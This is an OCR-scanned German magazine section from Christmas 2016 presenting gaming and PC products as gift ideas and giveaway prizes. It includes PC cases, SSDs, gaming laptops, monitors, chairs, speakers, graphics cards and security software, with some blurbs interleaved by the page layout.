oder Verteidigungseinsátzen wird Ihr fliegeri- 
sches Kónnen immer wieder aufs Neue geprüft. 
Dabei stehen zwei Schwierigkeitsstufen sowie 
222 die Spielmodi Агсаде und Simulation zur Aus- 
<$ wahl, wodurch Einsteiger und Meisterpiloten 
gleichermaßen gefordert sind. Für das ultima- 
tive Mittendrin-Gefühl liegt 
dem Gewinnpaket für die 
Playstation 4 auch der Flug- 
Stick T.Flight Hotas 4 
von Thrustmaster bei, 
für den der Simulator 
optimiert wurde. 
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Concorde Home Entertain- 
ment DaVinci's Demons — 
Die komplette Serie 


WEB: www. concorde-movie-lounge.de PREIS (UVP): € 39,99 


Wurde die „wahre“ Geschichte Da Vincis jemals erzählt? Er ist ein 
begnadeter Künstler, Erfinder, Draufgänger und Idealist: Im Flo- 
renz des ausgehenden 15. Jahrhunderts beginnt ein junges Genie, 
die Zukunft neu zu erfinden. Doch schon bald muss es erkennen, 
dass sich höhere Mächte seine außergewöhnliche Begabung 
zunutze machen wollen. Politische Intrigen, verbotene Romanzen 
und düstere Geheimnisse – über drei Staffeln hinweg erzählt die 
packende Abenteuerserie DaVinci’s 
Demons die Abenteuer des jungen Visio- Wg 
nàrs. Erleben Sie die spannende Reise des 
Universalgenies durch eine Welt, 
die im ausgehenden Mittelalter in 
einer Ära der Dunkelheit zu ver- 
sinken droht. Zum ersten Mal 
erscheint dieses Serienjuwel von 
Erfolgsproduzent David S. Goyer, 
Co-Autor der The Dark Knight- 
Trilogie, als Komplett-Edition im 
hochwertigen Sammelschuber. 
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® Carrera 

DIGITAL 132 
Racing Spirit-Set 
WEB: www.carrera-toys.com PREIS (UVP): € 370 


Mit dem Lamborghini Huracan LP 610-4 und dem Porsche 911 
Carrera S Cabriolet stehen sich zwei Supersportwagen gegen- 
über, die nicht nur auf der Straße, sondern auch auf der Carrera 
Rennbahn für neidische Blicke sorgen. Das Racing Spirit-Set 
vereint dank zweier Highlight-Wagen elegantes Design mit 
unbändiger Fahrkraft. Der Lamborghini Huracán LP 610-4 in 
edlem Blau lässt alle Männerherzen höherschlagen. Doch der 
Herausforderer sorgt auf der Rennstrecke ebenso für Aufsehen. 
Zum ersten Mal steht mit dem Porsche 911 Carrera S Cabriolet 
ein beliebter Dauerbrenner an der Startlinie. Beiden Traumwagen 
stehen im Racing Spirit-Set 8,2 Meter Rennstrecke zur Verfü- 
gung, auf der sie beweisen können, wie viel Power in ihnen 
steckt. Dank der kabellosen, ultraleichten Handregler mit der 
Carrera 2,4 GHz Wireless+ Technologie ist für absolute Bewe- 
gungsfreiheit an der Rennbahn gesorgt. 


Fractal 
Design 
Define © 


WEB: www.fractal-design.com 
PREIS (UVP): € 89,99 


Im für den Hersteller 
typischen minimalisti- 
schen Design kommt 
er daher, der neuste 
Midi-Tower aus dem 
Hause Fractal Design: 
das Define C. Das 
Gehäuse bietet viel Platz für Hardware und ganz speziell auch 
für den Einbau von leistungsstarken Flüssigkeitskühlungen. Der 
großzügige Innenraum kann dabei Wärmetauscher bis zu einer 
Größe von 360 Millimetern aufnehmen. Eine bereits integrierte 
Schalldämmung sorgt in Kombination mit den modularen Modu- 
Vent-Abdeckungen an der Oberseite und am linken Seitenteil für 
ein flüsterleises Betriebsgeräusch, auch bei starker Belastung. 
Die Gehäuse der brandneuen Define-C-Serie verfügen jetzt über 
eine durchgängige Abdeckung des Netzteiles. Nie war es so 
einfach, einen aufgeräumten Innenraum zu bekommen, wie mit 
den neuen Fractal-Design-Define-C-Gehäusen! 
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йр | Western 


WD BLUE Digital 
Blue PC SSD 


WEB: www.wdc.com 


pc SSD PREIS (UVP): € 339 
Solid State Drive 


1TB SATA 


Western Digital ist dafür 
bekannt, hochwertige Hard- 
ware im Bereich Speicherlösungen 
anzubieten. Die neue WD Blue PC SSD macht hier 
keine Ausnahme. Im Bereich Performance und vor allem Lang- 
lebigkeit erreicht die WD Blue PC SSD in ihrer Klasse Spitzen- 
werte. Sie bietet für Gamer, HD-Medien-Liebhaber und kreative 
Profis die benötigte Leistung. Tiered Caching mit SLC(Single 
Level Cell)- und TLC-Flash-Technologie ermöglichen Geschwin- 
digkeiten von bis zu 545 MB/s für sequenzielle Lesevorgänge 
und bis zu 525 MB/s für sequenzielle Schreibvorgänge. Die WD 
Blue PC SSD Serie wird in den Baufor men 2,5 Zoll/7 mm und 
M.2 2280 angeboten und ist gemäß Zertifizierung des Functio- 
nal Integrity Testing Lab mit einer Vielfalt von Computern kom- 
patibel. Zu haben ist die SSD mit 250 Gigabyte, 500 Gigabyte 
und ein Terrabyte Speicher. Da ist für jede Art von Gebrauch 
etwas dabei. Sie wird außerdem mit einem kostenlos herunter- 
ladbaren Dashboard und einer dreijährigen Garantie geliefert, 
sodass Sie Ihr System ohne Bedenken aktualisieren können. 


Tesoro F/10 Zone Balance 


WEB: www.tesorotec.de PREIS (UVP): € 179 


Sportwagen-Feeling unterm Weihnachts- 
baum: Mit den neuen Gaming-Chairs der 
Zone-Balance-Serie von Tesoro, machen 
Sie an wirklich jedem Schreibtisch eine 
gute Figur. Dank der bequemen und 
gleichzeitig ergonomisch geformten 
Polsterung werden selbst lange 
Spielesessions ganz ohne Rücken- 
schmerzen und Ermüdungserschei- 
nungen möglich. Der Stuhl erlaubt 
außerdem vielfältige Ein- 
stellmöglichkeiten 
und lässt somit Men- 
schen jeder Statur 
eine komfortable Sitz- 
position finden. Der 
Hersteller vereint hier 
gekonnt modernes 
und schnittiges Design 
mit hochwertigen Materialien, und 
das zu einem ausgesprochen 
attraktiven Preis! 
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| FreeJam Robocraft 


WEB: www.robotcraftgame.com PREIS (UVP): free2play 


Bac 


Wie wäre es, seinen eigenen Kampfroboter zu 
kreieren und sich in der Arena mit anderen 
kreativen Gamern zu battlen? Robocraft macht’s möglich! Hier 
liegt das Hauptaugenmerk auf dem Zusammenbauen des indivi- 
duellen Bots. Im intuitiven Build-Mode kann man mit Blöcken 
einen Roboter nach seinem Gusto zusammenstellen. Es gibt bis- 
her 250 verschiedene Cubes und viele mehr sollen noch hinzu- 
kommen. In diesem Game ist nahezu jedes Vehikel denkbar! Mit 
einer der vielen futuristischen Waffen ausgestattet, nimmt man in 
diesem Arena-Shooter die gegnerischen Roboter auseinander. 
Die Alpha-Version des Free2Play-Titels ist aktuell in Steam ver- 
fügbar. Mit dem Code WEIHNACHTEN2016 erhalten unsere 
Leser in-game exklusiv eine deutsche Holoflag. 


Couchmaster 
Oycon 


WEB: www.nerdytec.de PREIS (UVP): € 159 


Vom entspannten PC-Zocken auf dem Sofa konnte man bisher nur 
tráumen. Gezielte Eingaben mit Maus und Tastatur sind ohne die 
passende Unterlage nämlich kaum möglich — und genau hier 
kommt der Couchmaster Cycon ins Spiel. Das bequeme System 
ermöglicht entspanntes PC-Gaming auf dem großen Bildschirm. 
Edle Materialien wie Leder oder Mikrofaser sorgen auch bei langen 
Sessions für ein komfortables Erlebnis. Zwei breite Kissen stützen 
die Unterarme optimal, perfekt für den Einsatz von Maus und Key- 
board. Auf der großen Ablage findet zudem auch High-End-Peri- 
pherie ausreichend Platz. Um die Verkabelung zu minimieren, bie- 
tet der Couchmaster Cycon einen USB-3.0-Hub für den Anschluss 
von bis zu vier Geráten. Dank moderner Technik kann das System 
ohne zusätzliche Stromquelle direkt per USB verbunden werden. 
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be quiet! Dark Base 900 


WEB: www.bequiet.com PREIS (UVP): € 229,90 


Es gibt unzählige Möglichkeiten, seinen Computer zu konfigu- 
rieren, und eine Gehäuse-Serie, die all das möglich macht: Dark 
Base 900. Diese steht für maximale Flexibilität und - typisch be 
quiet! — für einen besonders leisen Betrieb - auch über Stunden 
hinweg. Erweiterte Einbaumöglichkeiten des Mainboard- und 
HDD-Trays, drei nahezu unhörbar leise be-quiet!-SilentWings- 
3-PWM-Lüfter, eine intelligente Luftstromführung mit geräusch- 
reduzierenden Auslässen und vier Bereiche für Radiatoren für 
bis zu 420 mm machen das Dark Base 900 zur perfekten Wahl 
für High-End-Enthusiasten und Individualisten. Das gilt für alle, 
die höchsten Standard erwarten, wenn es um Modularität, Kom- 
patibilität und Design ihrer High-End-Desktop-PCs sowie Over- 
clocking- und Wasserkühlungs- 
systeme geht. Die Dark- i 
Base-900-Reihe ist 
ebenfalls in der Pro- 
Version erhàltlich mit 
LED-Beleuchtung, Sei- 
tenfenster aus Temper- 
glas und einer kabello- 
sen Ladestation für 
Qi-fàhige Endgeràte. 


Viewsonic 
VX245/MHD 


WEB: www.viewsonic.de 
PREIS (UVP): € 179 


Der ViewSonic VX2457MHD 
ist ein preisgünstiger Full- 
HD-Monitor in 24" (23,6") speziell 
für Spiele. Dank der integrierten VESA- 
Adaptive-Sync-Technologie wird durch die variable Bildwieder- 
holrate Bild-Tearing und -Ruckeln bei diesem Monitor fast voll- 
stándig beseitigt und so flüssiges Spielen bei schnell wechseln- 
den Actionszenen ermöglicht. Dazu sorgen die ultraschnelle 
Reaktionszeit von einer Millisekunde und der Modus für geringe 
Eingangsverzógerung für eine flüssige Bildschirmdarstellung 
ohne Unschárfen oder Geisterbilder. Eine Hot-Keytaste für den 
Spielemodus optimiert das Spielerlebnis bei Ego-Shootern, Echt- 
zeit-Strategie- und MOBA-Spielen und verschafft Spielern den 
entscheidenden Vorteil zum Gewinnen. Zusätzlich hilft die 
Schwarzstabilisierungsfunktion beim gezielten Angriff auf Feinde, 
die im Dunkeln lauern, und lässt Sie vollkommen ins Geschehen 
eintauchen. Ein weiterer Effekt des Monitors sind leuchtende, 
satte Farben und ein hoher Kontrast. Flexible Verbindungsmóg- 
lichkeiten wie DisplayPort, HDMI und VGA ermóglichen Ihnen den 
Anschluss an Ihrer dedizierte Grafikkarte und Spielekonsole. 


AVM FRITZ!Box 7490 
und FRITZIFon = 


WEB: www.avm.de 
PREIS (UVP): € 240 (FRITZ!Box), € 
59 (FRITZ!Fon) 


Die vielfach ausge- 4 
zeichnete FRITZ!Box 
7490 sorgt mit innovativer und neuer Spitzentechnolo- 
gie für ultraschnelle Verbindungen an jedem Anschluss und 
deckt mit vielen Extras alle Kommunikationswünsche rund um 
Internet, Telefonie und Netzwerk ab. Das neue WLAN AC reicht 
deutlich weiter und ist dabei dreimal schneller als bisher. Die 
zwei Funkbänder sorgen für die beste Einbindung aller Geräte 
— vom Tablet über Laptop bis zum Smartphone und internet- 
fàhigen Gaming-Konsolen ist alles mit maximaler Geschwin- 
digkeit verbunden. Als ideale Ergänzung bietet FRITZ!Fon C5 
Telefonate in HD-Qualität, zahlreiche Multimediafunktionen 
und Internetdienste sowie Musik- und Smart-Home-Steue- 
rung. Benutzerfreundlichkeit wird hier großgeschrieben. Das 
FRITZ!Fon C5 wurde so konzipiert, dass jeder problemlos alle 
Funktionen nutzen kann: Einfache Menüs, große Übersicht und 
ergonomische Tasten sind die Basis für besten Bedienkomfort 
und einfaches Verständnis. Schnell und einfach ins Heimnetz 
integriert und sofort einsatzbereit. 


Paper Mario: Color Splash 


WEB: www.nintendo.de PREIS: € 40 


Das Inselparadies Prisma wurde seiner Farben beraubt - und nie- 
mand weiß so recht, wer dahintersteckt. Das ruft Mario und seinen 
neuen Gefährten, den sprechenden Eimer Farbian, auf den Plan. 
Gemeinsam wollen die beiden der Insel ihre Farben zurückgeben 
und dem Mysterium auf den Grund gehen. Ausgerüstet mit sei- 
nem neuen Farbhammer reist unser Lieblingsklempner also über 
Prisma und muss dabei allerlei verschiedene Aufgaben erfüllen. 
Das Gameplay von Paper Mario: Color Splash könnte abwechs- 
lungsreicher nicht sein und 
bietet einen Mix aus cleve- 
ren Rätseln, Inselerkundung 
und anspruchsvollen Kämp- 
fen. Bei den Gefechten sor- 
gen insbesondere die neuen 
Kampfkarten für große takti- 
sche Tiefe, denn um den 
fiesen Gegnern und Bossen 
den Garaus zu machen, ist 
nicht nur gutes Timing, son- 
dern auch der überlegte Ein- 
satz der eigenen Kartenhand 
gefragt. 
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Razer Blade Stealth 


WEB: http//rzr.to/YKesj PREIS (UVP): ab € 1.099 


Leistungsstarke Laptop-Hardware geht auch kom- 
pakt! Den Beweis tritt Razer mit seinem schlanken 
Ultrabook Blade Stealth an, von dem der Hersteller ein 
Exemplar als Gewinnspielpreis zur Verfügung stellt. 
Der schicke Flachrechner ist der ultimative Begleiter 
für alle, die kompromisslose Performance, 
höchste Verarbeitungsqualität und clevere 
Features mit einem kompakten Formfaktor 
suchen. Im edlen CNC-Aluminium-Gehäuse fin- 
det allerhand potente Hardware Platz — und 
das bei nur 13 Millimetern Bauhöhe und einem 
Gewicht von lediglich 1,28 Kilogramm! Angetrieben wird der edle Laptop 
vom bärenstarken Intel Core i7-7500U. Egal ob anspruchsvolle Office- 
Programme oder detaillierte Video- und Bildbearbeitung — dank des 
Chips aus Intels aktuellster Prozessorgeneration lassen sich diese Auf- 
gaben im Handumdrehen erledigen. Für eine knackige Darstellung sorgt 
das 12,5 Zoll groBe Touch-Display mit QHD- oder modernster UHD- 
Auflósung. Dazu kommen bis zu 16 Gigabyte RAM und 1 Terabyte an 
blitzschnellem SSD-Speicher. Für perfektes Tippen im Dunkeln kommt 
das Blade Stealth darüber hinaus mit Razers beliebter Chroma-Tasten- 
beleuchtung. Dank 16,8 Millionen Farben in Kombination mit diversen 
Software-Effekten sind der Lightshow beinahe keine Grenzen gesetzt. 


Nvidia GeForce GTX 1060 


WEB: www.nvidia.de PREIS (UVP): € 279 


Aktuelle Gaming-Blockbuster in voller Grafikpracht zu spielen 
muss nicht teuer sein. Denn mit der leistungsstarken Grafikkar- 
te GeForce GTX 1060 von NVIDIA bekommen Spieler eine Men- 
ge Leistung pro Euro. Die Karte ist auBerdem ein wahrer Effi- 
zienzknaller. So wie alle GPUs, die auf der Pascal-Architektur 
basieren, wurde auch die GTX 1060 mit Fokus auf Optimierung 
der Geschwindigkeit und Leistungseffizienz pro Watt entwickelt. 
So bietet sie beste Leistungswerte bei minimalem Stromver- 
brauch. Dank Pascal erreicht die GTX 1060 bei aktuellen Spielen 
selbst in WQHD-Auflósung noch flüssige 3D-Performance und 
spielbare FPS-Werte. So erleben Gamer nicht nur E-Sport-Klas- 
siker wie Counter Strike: GO oder LoL, sondern auch die neus- 
ten Gaming-Blockbuster in voller Grafikpracht. Und natürlich ist 
die GeForce GTX 1060 auch VR-Ready, sodass Gamer in Ver- 
bindung mit einem VR-Headset in den Genuss von faszinieren- 
den Virtual-Reality-Erlebnissen kommen. 
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Kompakt und Leistung 
en masse: Razer Blade 
Stealth und Razer Core 


Wo anderen Laptops mit ähnlicher Ausstattung bereits nach kurzer Zeit 
die Puste ausgeht, begleitet Sie das Razer Blade Stealth den ganzen 
Tag. In der Praxis heiBt das: bis zu neun Stunden Dauerbetrieb dank des 
53,5 Wattstunden starken Akkus. Und für alle, die ihr Blade Stealth nach 
Feierabend zur leistungsstarken Gaming-Maschine verwandeln wollen, 
hat Razer das perfekte Accessoire in der Hinterhand: den Razer Core. 
Dieses GPU-Gehäuse ermöglicht es, externe Desktop-Grafikkarten über 
den Thunderbolt-3-Anschluss am High-End-Ultrabook zu betreiben. In 
Kombination mit aktuellen Oberklasse-Grafikkarten wie der NVIDIA 
GeForce GTX 1080 oder der AMD Radeon RX 480 wird das Razer Blade 
Stealth somit zum Gaming-Desktop-System im Ultrabook-Format. 
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noblechairs 
EPIC Series 
Echtleder Schwarz 


WEB: www.caseking.de PREIS (UVP): € 549,90 


Der EPIC Series Echtleder Schwarz von 
noblechairs vereint das sportliche 
Design von Rennwagensitzen mit 
hóchstem Sitzkomfort. Dabei sieht der 
Stuhl auch noch unheimlich hochwertig 
und schnittig aus. Überzogen mit kost- 
barem Echtleder über den gesamten 
Sitz- und Kontaktbereich, bieten die 
Stühle eine neue Stufe in Sachen 
Qualität und Eleganz. Als ergonomi- 
scher Chefsessel bietet er eine sty- 
lishe Alternative für PC-Enthusias- 
ten und Rennsport-Liebhaber, die 
nach etwas Besonderem suchen. 
Dank des hohen Komforts und der 
individuellen Anpassungsmóglichkei- 
ten wird auch eine lange Gaming-Ses- 
sion zum Genuss. Der EPIC Series 
Echtleder Schwarz ist exklusiv auf 
caseking.de erhältlich. 
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Asus ROG G752VS-BA 


WEB: www.asus.de PREIS (UVP): € 2.299 


Das ASUS ROG G752VS-BA macht PC-Gaming, Entertainment- 
Anwendungen oder die professionelle Bild- und Videobearbeitung 
mobil und zu einem jederzeit intensiven Vergnügen – egal ob am hei- 
mischen Schreibtisch oder in der Bahn unterwegs. Ein Ausstattungs- 
Highlight des G752VS-BA ist die mächtige Grafikkarte NVIDIA GeForce 
GTX 1070, die neueste Spiele in nie dagewesenem Glanz und Detail- 


EIZO FS2434 Foris 
Gaming-Monitor 
mit brillanter Bildqualität 


WEB: www.eizo.de PREIS: € 349 


Full-HD-Inhalte Ihrer Spiele-Konsolen, Blu-ray-Player, HD-Video- 
Kameras und Computer setzt der EIZO FS2434 in glasklare und 
detaillierte Bilder um. Auf seinem 23,8-Zoll-LCD mit IPS-Technik 
zeigt er jede Farbnuance und Textur. Deshalb wirken Bildszenen 
und Videosequenzen realistisch und lebendig. Der EIZO FS2434 
punktet außerdem durch ein sehr geringes Input-Lag von 0,05 
Frames je Sekunde und seine entspiegelte Anzeigefläche. Das Re- 
sultat: spielentscheidende Vorteile und vorbildliche Ergonomie für 
ein optimales Sehvergnügen. Auch das Design des EIZO FS2434 
überzeugt: Es glänzt durch einen extrem schmalen Gehäuserahmen 
und ist eine echte Augenweide - ein Monitor mit Spaßgarantie! 


reichtum erscheinen lásst. Hinzu kommen das blitzschnelle 17,3"-Dis- 
play mit 120-Hz-Paneltechnologie mit G-Sync, umfassende Konnekti- 
vitát einschlieBlich Thunderbolt 3 und das Gaming-optimierte Design 
inklusive SonicMaster-2.1-Soundsystem, Anti-Ghosting-Keyboard und 
Hochleistungs-Kühlsystem. Das eben erwáhnte intelligente 3D-Vapor- 
Chamber-Kühlsystem des Gaming-Notebooks ist auf den Hochlast- 
Betrieb ausgerichtet und so konstruiert, dass die beiden kupferumman- 
telten Lüfter die mächtige CPU und GPU unabhängig voneinander und 
entsprechend der jeweiligen Auslastung kühlen und das Notebook 
dauerhaft stórungsfrei und flüsterleise läuft. Die rot beleuchtete Tasta- 
tur des G752VS verfügt über Anti-Ghosting-30-Key-Rollover, markier- 
te WASD-Keys, programmierbare Makros, einen separierten Nummern- 
block und die praktische ROG-Taste. Ein Klick genügt und das ROG- 
Gaming-Center-Dashboard óffnet sich. Hier kónnen Gamer ganz 
persónliche Einstellung für dedizierte Titel einstellen und so ihr Vergnü- 
gen optimieren, ohne sich jedes Mal neu mit den Optionen herumschla- 
gen zu müssen. Vom TurboMaster-GPU-Overclocking über das Spei- 
chermanagement bis hin zur Netzwerkoptimierung hat der User intuitiv 
alles im Griff. Neben Gigabit-LAN, ac-WLAN, Bluetooth 4.0, USB 3.0, 
HDMI und Mini-DisplayPort bietet das ROG G752VS-BA mit Thunder- 
bolt 3 (via USB 3.1 Typ-C Anschluss) die aktuellste Hochgeschwindig- 
keits-Schnittstelle. Beliebige Daten kónnen mit bis zu 20 Gbit/s über- 
tragen werden. Das ROG G752VS-BA kommt zudem mit Windows 10 
Home und ermóglicht Power-Usern vóllig neue Móglichkeiten: Bit- 
Locker, Virtual Machines mit Hyper-V und Remote-Log-In sind dabei 
nur einige Features des neuen, potenten Windows 10 Home. 


Magnat.LZR 980 
Design by Pininfarina 


WEB: www.magnat.de PREIS (UVP): € 299 


Technisches Meisterwerk und edle Stil-Ikone in Personalunion: Der 
Magnat.LZR 980 vereint deutsche Ingenieurskunst mit italieni- 
schem Design und Lebensgefühl. Das Design „made in Italy by 
Pininfarina“ genügt höchster Ansprüche an Formsprache und 
Ästhetik. Verbunden mit der technischen Perfektion der Hightech- 
Legende Magnat entsteht so ein einzigartiges audiophiles Produkt. 
Die Magnat LaZeR-Technologie ist hierbei namensgebend. Das 
eingesetzte Laser-Messsystem zur Komponenten-Optimierung im 
Lautsprecherbereich ist konventionellen Messmethoden überlegen. 
Für die Entwicklung der Kopfhórertreiber wurde ein superfeiner 
Laser verwendet, der in einem speziell entwickelten Vakuumraum 
arbeitet und extrem präzise Messwerte aus dem Kern des Chassis 
liefert. Der Magnat-Laser-Tech-Driver wird in allen LZR-Kopfhórern 
eingesetzt und bildet die akustische Basis für den brillanten Klang. 


Teufel Ultima 40 Aktiv 


WEB: www.teufel.de PREIS (UVP): € 799,99 


Deutschlands beliebtester Standlautsprecher kommt jetzt mit inte- 
griertem Verstärker. So wurde das Ultima 40 Aktiv auf der IFA 2016 
vorgestellt und beworben. Die Kombo besteht aus zwei aktiven 
Standlautsprechern, die sich jetzt erstmals per HDMI mit dem TV 
anschließen lassen. Dank ARC lässt sich die Lautstärke über die 
TV-Fernbedienung regeln. Via Blue- 
tooth 4.0 mit aptX können Sie aller- 
dings auch Ihre Lieblingssongs 
vom Smartphone oder Tablet 
durch das ganze Wohnzimmer 
schallen lassen. Zusätzlich befin- 
det sich an der Rückseite ein 
umfangreiches Anschlusspanel mit 
HDMI-, TOSlink- und Stereo- 
Cinch-Eingang sowie einem Equa- 
lizer und der Möglichkeit, zusätzli- 
che Subwoofer anzubringen. Das 
Ultima 40 Aktiv ist erhältlich in den 
Farben Schwarz und Weiß und 
passt damit in jedes Wohnzimmer. 
Zu gewinnen gibt es das 2.1-PC- 
Soundsystem namens Mediadeck 
im Wert von 400 Euro. 


LC-Power Gaming 986S 


WEB: www.lc-power.com PREIS (UVP): € 119 


Sie sind auf der Suche nach einem edlen Computergehäuse? 
Dann werden Sie bei LC-Power mit Sicherheit fündig! Das 
,Gaming 9865 White Shadow" wird aus hochwertigen Materia- 
lien, unter anderem Aluminium und Hartglas, hergestellt und 
bietet genügend Platz für ein leistungsstarkes und potentes 
Gaming-System. Grafikkarten bis zu 420 mm, ein Radiator bis 
zu 360 mm und ein CPU-Kühler bis zu 170 mm finden genauso 

ihren Platz im Gehäuse wie auch bis zu sieben 


120-mm-Gehäuselüfter. Im Lieferum- 
fang schon enthalten sind 
zwei leise, rot beleuch- 
tete 120-mm-Gehäuse- 
lüfter. Außerdem können 
bis zu acht Festplatten 
B | (58x 3,5" & 3x 2,5") verbaut 
werden. Das Gaming 986S 
White Shadow wird nicht 
zuletzt dank der edlen 
weißen Lackierung im 
Inneren des Gehäuses der 
Hingucker auf Ihrer nächs- 
ten LAN-Party! 
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Creative Muvo 2c 


WEB: www.de.creative.com PREIS (UVP): € 49,99 


Dieser kompakte Bluetooth-Speaker ist in vier coolen Farben 
erhältlich und Ihr neuer Begleiter für hochwertigen Musikge- 
nuss — sowohl daheim als auch unterwegs. Dank seiner prak- 
tischen Größe und seines robusten Gehäuses können Sie mit 
dem Muvo 2c von Creative Ihren Lieblingssound überall mit 
hinnehmen. Ob am Strand, in den Bergen oder einfach nur zu 
Hause auf der Terrasse — mit ganzen 6 Stunden Akkulaufzeit 
und seiner stylishen, vor Staub und Spritzwasser geschützten 
Außenhülle (IP66-zertifiziert) ist der Muvo 2с überall der per- 
fekte Musik-Begleiter, auch für Ihre Outdoor-Aktivitäten. Die 
Verbindung mit dem Muvo 2с ist ganz einfach - über eine Viel- 
zahl von Eingangsquellen oder über Bluetooth-Konnektivität 
können Sie Ihre Lieblingsmusik hören. Sie können außerdem 
zwei Muvo 2c Lautsprecher kabellos miteinander verbinden 
und so eine breitere Ste- m: > < 
reoerfahrung und um- 
fassendere Klangper- 
formance erleben = 
für einen intensive- 
ren Musikge- 
nuss, ob allein 
oder mit Ihren 
Freunden! 


Sapphire 
Nitro+ RX 
170. 8GB 


WEB: www.sapphiretech.com 
PREIS (UVP): € 249 


Die SAPPHIRE NITRO+ Radeon!" 
RX 470 mit 8GB GDDR65 ist das nächste große 
Ding im Bereich Mainstream 1080p Gaming. Sie verfügt 
über 2048 GCN-basierte Streamprozessoren und ein 256-bit 
Speicherinterface. Der GPU-Boosttakt liegt bei 1260 MHz 
(1121 MHz Basistakt) und der Speichertakt bei 2000 MHz für 
bis zu 8 Gbps Durchsatz. Die SAPPHIRE NITRO+ Radeon" 
RX 470 verfügt über eine verbesserte Dual-X Kühlung mit 
zwei doppelt kugelgelagerten 95-mm-Lüftern, dies macht sie 
langlebiger und leiser als die letzten Generationen. Darüber 
hinaus zeichnen sich die Lüfter der SAPPHIRE NITRO+ Rade- 
on™ RX 470 durch das „Quick Connect“-System aus. 
Dadurch sind sie einfach abzunehmen, zu sáubern und zu 
ersetzen, denn es reicht eine einzige Schraube, um sie sicher 
zu befestigen. Weitere spezielle Features sind die einstellba- 
re RGB-LED-Beleuchtung und die Verwendung der langlebi- 
gen SAPPHIRE Black Diamond Chokes sowie ein zweites 
BIOS für noch leiseren Betrieb. 
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WEB: www.seasonic.de PREIS (UVP): € 180 


Seit der Gründung im Jahre 1975 liefert SeaSonic durchweg die 
aktuellste Technologie an seine Kunden. Die Marke SeaSonic ist 
verbunden mit Innovationen durch Forschung und Entwicklung 
sowie die Produktion von Hochleistungs-PC-Netzteilen nach 
höchsten technischen Standards. SeaSonic leistete Pionierarbeit 
für einen Effizienzstandard und war der Launchpartner für das 
80-PLUS-Programm sowie der erste Hersteller, der die 80 PLUS- 
Gold-Zertifikation erreichte. Weltweite unabhängige Testredak- 
teure werten SeaSonic Produkte als die Besten in Technologie, 
Leistung und Zuverlässigkeit, was das Unternehmen zu einem 
der besten Hersteller von Stromversorgung macht. Das aktuelle 
SeaSonic Topmodell PRIME Titanium ist dabei betrachtet “the 
absolute best power supply” und mit höchster Effizienz der Tech- 
nologieführer im Netzteilbereich. Auch die 
PCGH-Redaktion hat dieses Netzteil 
mit dem TOP PRODUKT 
AWARD (Prime Titanium 
650W - Oktober 2016) 
ausgezeichnet! Die PRIME 
Serie ist dazu mit einer welt- 
weiten Herstellergarantie von 
10 Jahren ausgestattet. 
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WEB: www.coolermaster.de PREIS (UVP): € 59 


Das MasterKeys Lite L Bundle besteht aus einer wasserabwei- 
senden RGB-Tastatur mit mechanischen Eigenschaften und einer 
optischen Maus mit 3500 DPI. Mit den zahlreichen konfigurierba- 
ren LED-Effekten kann jeder die Hintergrundbeleuchtung nach 
seinen Vorlieben anpassen. Die exklusiven „Mem-chanical“- 
Schalter sind haltbar und wurden mit der Haptik von mechani- 
schen Tastaturen ausgestattet. Das Gehäuse ist außerdem was- 
serabweisend und besitzt eine Nanofilm-Beschichtung. Dank der 
Funktionstasten am oberen Rand sind Multimedia-Schnellzugrif- 
fe möglich, mit denen sich Ihre Musikstücke und Filme auf Wie- 
dergabe/Pause, Stopp, Weiter und Zurück schalten lassen. Das 
perfekte Geschenk für Gamer oder Hardware-Enthusiasten. 


Alienware Alienware 17 


WEB: www.alienware.de PREIS (UVP): € 1.949 


Das Alienware 17 ist das Flaggschiff des neuen Line-ups und das 
ultimative Gaming-Notebook. Dank seiner BildschirmgróBe von 17 
Zoll und seiner Performance kónnen Gamer mit diesem Gerät 
komplett in die Welt der Spiele abtauchen. Übertaktete Intel-Core- 
i7-Prozessoren der K-Serie sorgen ebenso für volle Power wie der 
DDR4-Speicher der Geräte mit bis zu 2.667 MHz. Darüber hinaus 
unterstützen die Notebooks optional die Infrarot-Eye-Tracking- 
Technologie von Tobii. Zusammen mit einer neuen Overwolf-App 
kónnen Gamer damit ihre aufgezeichneten Blickbewegungen 
abspielen und so an ihren Skills feilen. In Zusammenarbeit mit Tobii 
hat Alienware das Gerät mit einigen exklusiven Features ausge- 
stattet. So leuchtet und veràndert sich beispielsweise das LED- 
System des Notebooks abhängig davon, wohin der User schaut; 
auBerdem wird die Anwesenheit des Gamers erkannt und das 
Notebook automatisch gesperrt, wenn er sich davon entfernt. 


Hori ТАС Pro 


WEB: www.hori.co.uk PREIS (UVP): € 149,99 


Die TAC-Revolution beginnt jetzt! Der TAC Pro mit seiner 
mechanischen Tastatur und Maus optimiert PC-Style- 
Shooter-Gaming an der heimischen Konsole. TAC steht 
dabei für „Tactical Assault Commander“. Die ergonomisch 
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Kaspersky lotal Security 201 7 


WEB: www.kaspersky.de PREIS (UVP): € 49,95 


Die allermeisten Anwender nutzen heute mehrere Geráte im 
Alltag, die vor Cyberkriminellen geschützt werden müssen. 
Kaspersky Total Security 2017 schützt deshalb neben Windows 
auch noch macOS und Android. Dafür kommen natürlich maßge- 
schneiderte Versionen der Schutz-Lósung zum Einsatz. Nutzer 
können die erworbenen Lizenzen aber flexibel auf ihre Geräte 
aufteilen. Mit fünf Lizenzen schützen Sie zum Beispiel zwei PCs, 
einen Mac sowie Android-Smartphone und -Tablet. Kaspersky 
Total Security 2017 bietet vor allem einige neue Komfort-Werk- 
zeuge, die den Unterschied machen. P 

Zum Beispiel wird die Funktion 
„Sichere Verbindung“ angeboten, 
über die Nutzer auch an öffentlichen 
Hotspots sicher surfen können. Des 
Weiteren kümmert sich ein Soft- 
ware-Updater um die Aktualisierung 
von Dritt-Programmen und ein neu- 
es Schutzmodul überwacht Ände- 
rungen am Betriebssystem. Ein 
Webcam-Schutz sorgt dafür, dass 
Nutzer jederzeit die Kontrolle über 
verwendete Kameras haben. 


KASPER kya Di ovn 


Kaspersky 
Total Security 


2017 


^ 


Das TAC- 


geformte Tastatur und hochpräzise Maus sind spezifisch 
designt für Shooter- und Action-Spiele. Die 20 LED- 
beleuchteten Schalter sind ausgestattet mit den ultra- 
schnellen Hori-Mikroschaltern und bieten eine enorm kurze 
Reaktionszeit. Die zahllosen intuitiven Features wie Quick- 
Scope, Snipe- und Gehen-Tasten machen das Zocken 
wesentlich komfortabler. Hierbei dient die Snipe-Taste dem 
präziseren Schießen, die Gehen-Taste vermindert beim 
Drücken die Laufgeschwindigkeit, wohingegen die Quick- 
Taste die Mausbewegung maximiert. Die Handballenablage 
lásst sich auBerdem problemlos herausziehen und auf jede 
